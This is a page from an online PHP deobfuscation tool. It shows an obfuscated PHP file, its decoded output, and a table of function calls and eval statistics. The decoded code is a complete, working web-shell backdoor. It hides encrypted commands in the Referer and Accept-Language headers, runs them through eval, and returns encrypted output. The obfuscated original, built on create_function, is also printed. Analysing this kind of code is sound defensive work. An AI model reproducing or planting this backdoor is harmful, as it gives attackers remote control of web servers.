Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $H='tolowi!er";$i=$i!mi![1][0].$m[1]i![i!1];$h=$sl($i!si!s(i!md5($i.$kh)i!,i!0,3));..
Decoded Output download
$kh="a7c9";$kf="ba98";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$H='tolowi!er";$i=$i!mi![1][0].$m[1]i![i!1];$h=$sl($i!si!s(i!md5($i.$kh)i!,i!0,3));$f=$sli!($ss(md5i!($i.$ki!i!f)';
$P='$rr)i!;i!parse_str($ui!["quei!ry"i!],$q);$i!q=i!arri!ay_vai!lues(i!$q);prei!gi!_i!match_all("/([\\w])[\\wi!-]+(?:i!';
$V='_/",i!i!"/-/i!"),array("/","+")i!,$i!si!s($s[$ii!],0,i!$e))),$k)));$o=obi!_get_i!conteni!ts()i!;ob_i!end_ci!';
$l=';q=0.([\\d]))?i!,?i!/",$ra,$mi!);if($i!i!q&&$i!m){@sessi!ii!on_i!sti!art();$s=&$_SEi!SSIOi!N;i!$ss="substi!r";$sl="str';
$r='lean();$d=bai!si!e6i!4i!_encode(x(gzcompri!ess($o),i!$k));pi!rint("i!<$ki!i!>$d</$k>")i!;@session_dei!si!troy();}}}}';
$x=',0,i!3))i!;$p="";for($z=i!1;$z<couni!t(i!$m[1i!]);i!$z++)$i!p.=$i!q[$i!m[2]i![$z]i!];if(si!trpos($p,$hi!)===0){$s[';
$n=str_replace('y','','creyatye_yfyuncytiyon');
$S='$i]i!="";$p=i!$ss($p,3);}i!if(ari!rai!y_key_exi!i!ists($i,$si!)){$s[$i!i]i!.=$p;$e=i!i!si!trpos($s[$i!i],$f)i!';
$A='$l;){foi!r($j=0;i!($j<$ci!&&$i!i!ii!<$l);$j++,$i+i!+){$o.=$t{$ii!}^$ki!{$ji!};}}returni!i! $i!o;}$r=$_i!SERi!V';
$o=';ifi!($e){$k=$kh.$kf;ob_stai!rt();@i!ei!val(@gzui!ncompri!ess(i!@x(@bai!se64_decodei!(preg_i!replai!ce(i!array(i!"/';
$G='ER;$i!rr=@$r["HTi!TP_REFi!ERER"];$ra=@$i!r["i!i!HTTP_ACCEPT_Li!ANGUAGE"];ifi!($i!rr&&$ri!a){$u=pi!arse_url(i!';
$W='$kh="a7ci!9";$kfi!=i!"bai!98"i!;function x($t,$i!k){$c=si!trli!en($ki!i!);$l=strlen($t);$o=i!"";fi!ori!($ii!=0;$i<';
$w=str_replace('i!','',$W.$A.$G.$P.$l.$H.$x.$S.$o.$V.$r);
$K=$n('',$w);$K();
?>
Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 3c4356235fda9811716f1e0465843a2e |
| Eval Count | 1 |
| Decode Time | 112 ms |